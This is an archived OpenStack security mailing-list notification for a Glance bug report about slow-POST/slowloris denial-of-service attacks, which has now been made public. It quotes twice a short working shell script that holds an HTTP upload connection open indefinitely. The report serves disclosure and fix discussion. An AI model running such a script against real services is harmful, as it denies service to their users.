[Openstack-security] [Bug 1572966] Re: Glance is vulnerable to 'slow DOS' attacks

Jeremy Stanley fungi at yuggoth.org
Fri Feb 28 15:32:17 UTC 2020


** Description changed:

- This issue is being treated as a potential security risk under embargo.
- Please do not make any public mention of embargoed (private) security
- vulnerabilities before their coordinated publication by the OpenStack
- Vulnerability Management Team in the form of an official OpenStack
- Security Advisory. This includes discussion of the bug or associated
- fixes in public forums such as mailing lists, code review systems and
- bug trackers. Please also avoid private disclosure to other individuals
- not already approved for access to this information, and provide this
- same reminder to those who are made aware of the issue prior to
- publication. All discussion should remain confined to this private bug
- report, and any proposed fixes should be added to the bug as
- attachments.
- 
  Glance is vulnerable to 'slow POST'/ 'slowloris'/slow read style
  attacks.
  
  You can use a script such as this:
  
   #!/bin/sh
  
   echo "POST /v2/images HTTP/1.1"
   echo "Host: 192.168.1.101:9292"
   echo "Accept-Encoding: gzip, deflate"
   echo "X-Auth-Token: 4c70f52ea77b40e2ae42ccd0ac868e1d"
   echo "Content-Type: application/json"
   echo "Content-Length: 1000000000000000"
   echo
   while true
   do
     sleep 1
     echo -n "X"
   done
  
  to hold a connection open to Glance indefinitely ($ bash script.sh |
  telnet localhost 9292).
  
  You can also do similar things sending bogus headers indefinitely/doing
  slow reads etc.
  
  (There's a good blog post here https://blogs.akamai.com/2013/09/slow-
  dos-on-the-rise.html)
  
  A couple of points:
  
  1. This isn't specific to Glance
  2. I'm not convinced that Glance code is the place to address this
  3. I'm motivated to log this in part due to the proposed new 'max_upload_time' parameter: https://review.openstack.org/#/c/270980/9/glance/api/v2/info.py
  
  I'd like to discuss the the max_upload_time parameter without being
  accused of openly discussing DOS opportunities (even if they are fairly
  obvious ones)

** Information type changed from Private Security to Public

** Tags added: security

-- 
You received this bug notification because you are a member of OpenStack
Security SIG, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1572966

Title:
  Glance is vulnerable to 'slow DOS' attacks

Status in Glance:
  Opinion
Status in OpenStack Compute (nova):
  Opinion
Status in OpenStack Security Advisory:
  Opinion

Bug description:
  Glance is vulnerable to 'slow POST'/ 'slowloris'/slow read style
  attacks.

  You can use a script such as this:

   #!/bin/sh

   echo "POST /v2/images HTTP/1.1"
   echo "Host: 192.168.1.101:9292"
   echo "Accept-Encoding: gzip, deflate"
   echo "X-Auth-Token: 4c70f52ea77b40e2ae42ccd0ac868e1d"
   echo "Content-Type: application/json"
   echo "Content-Length: 1000000000000000"
   echo
   while true
   do
     sleep 1
     echo -n "X"
   done

  to hold a connection open to Glance indefinitely ($ bash script.sh |
  telnet localhost 9292).

  You can also do similar things sending bogus headers
  indefinitely/doing slow reads etc.

  (There's a good blog post here https://blogs.akamai.com/2013/09/slow-
  dos-on-the-rise.html)

  A couple of points:

  1. This isn't specific to Glance
  2. I'm not convinced that Glance code is the place to address this
  3. I'm motivated to log this in part due to the proposed new 'max_upload_time' parameter: https://review.openstack.org/#/c/270980/9/glance/api/v2/info.py

  I'd like to discuss the the max_upload_time parameter without being
  accused of openly discussing DOS opportunities (even if they are
  fairly obvious ones)

To manage notifications about this bug go to:
https://bugs.launchpad.net/glance/+bug/1572966/+subscriptions



More information about the Openstack-security mailing list